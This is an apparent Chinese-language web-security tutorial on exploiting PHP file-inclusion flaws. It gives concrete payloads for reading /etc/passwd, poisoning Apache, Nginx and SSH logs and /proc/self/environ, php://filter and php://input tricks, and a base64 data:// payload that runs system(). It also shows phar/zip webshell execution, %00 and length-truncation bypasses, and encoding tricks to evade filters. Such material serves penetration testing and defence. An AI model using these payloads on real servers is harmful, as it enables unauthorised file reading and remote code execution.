web安全-PHP文件包含
1.任意文件读取
利用文件包含漏洞,将服务器本地文件包含进页面
系统敏感文件或者配置文件
windows:
1 | C:\boot.ini //查看系统版本 |
Linux/Unix
1 | /etc/password //账户信息 |
其中也可以用相对路径?file=../../../etc/passwd
还可以加一些不存在的目录名,进行穿越、绕过,例如:?file=/etc/xxxxxxx/../passwd
日志文件
一般是利用伪协议报错后使用
首先利用访问错误url或者加入参数,来植入php等代码
访问数据存入access.log
或error.log
等日志文件,通过尝试试探这些文件的路径和文件名,去包含执行代码。
如默认路径:/var/log/apache2/access.log
/var/log/nginx/access.log
临时文件
在文件上传的时候,会产生临时文件,phpinfo();可以读取文件的路径和名字,然后本地包含产生后门,在临时文件删除前去包含文件,这里可能要会写相应脚本;
路径:/tmp
ssh日志
默认路径:/var/log/auth.log
利用ssh连接
先执行命令ssh '<?php ...?>' @remotehost
操作会被写入日志,再进行包含
environ
默认路径:/proc/1/environ/
利用:在请求包user-agent
字段中插入php代码,再进行文件包含
包含fd(文件描述符)
默认路径:/proc/self/fd/
同包含environ相似
session文件
默认路径:var/lib/php/sessions/
要灵活利用可控变量,插入php代码,再进行包含
2.远程文件包含
若服务器允许包含远程文件,则可利用文件包含读取另外一台服务器上的恶意脚本
条件:allow_url_fopen、allow_url_include为on
3.伪协议
file://访问本地文件系统
file://文件的绝对路径或文件名
php://filter查看源代码或写入代码
读取index.php的源码并转换成base64编码显示在页面:php://filter/read=convert.base64-encode/resource=index.php
将helloworld用base64编码写入test.txt:php://filter/write=convert.base64-encode/resource=test.txt&txt=helloworld
同样,也可以进行目录穿越:?file=php://filter/read=convert.base64-encode/xxxxxxxxxx/resource=index.php
php://input进行命令执行
可以将php代码以post请求形式发送执行但要求allow_url_include为on
例如利用漏洞列出当前目录下的文件和文件夹:
1 | GET: xxx.com?file=php://input |
data://发送执行
data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==
注:PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==
为<?php system("dir");?>
base64编码的结果
条件:allow_url_fopen、allow_url_include为on
phar://或zip://执行压缩包中的恶意文件
结合文件上传写一个一句话木马的文件shell_dir.php
,将shell_dir.php
压缩成shell_dir.zip
,然后把压缩包重命名为shell_dir_zip.png
然后上传shell_dir_zip.png
那么利用phar://shell_dir_zip.png/shell_dir.php
这样的语句可以直接执行压缩包内的木马文件
而zip://
伪协议作用一样,但需要改为zip://shell_dir_zip.png#shell_dir.php
这样的格式
4.绕过方式
指定后缀
在包含的文件名中固定了文件后缀名
绕过:利用%00截断
,条件:php<5.3.4;gpc为off
过滤特殊字符
用正则过滤/,../,
等
进行URL编码
,如果WAF中是字符串匹配
,可以使用url多次编码
的方式可以绕过
长度截断
Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes
。
那么在长度有限的时候,././././ (n个)
的形式就可以通过这个把路径爆掉 ,在php代码包含中,这种绕过方式要求php版本 < php 5.2.8
5.一些进阶利用
参考:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html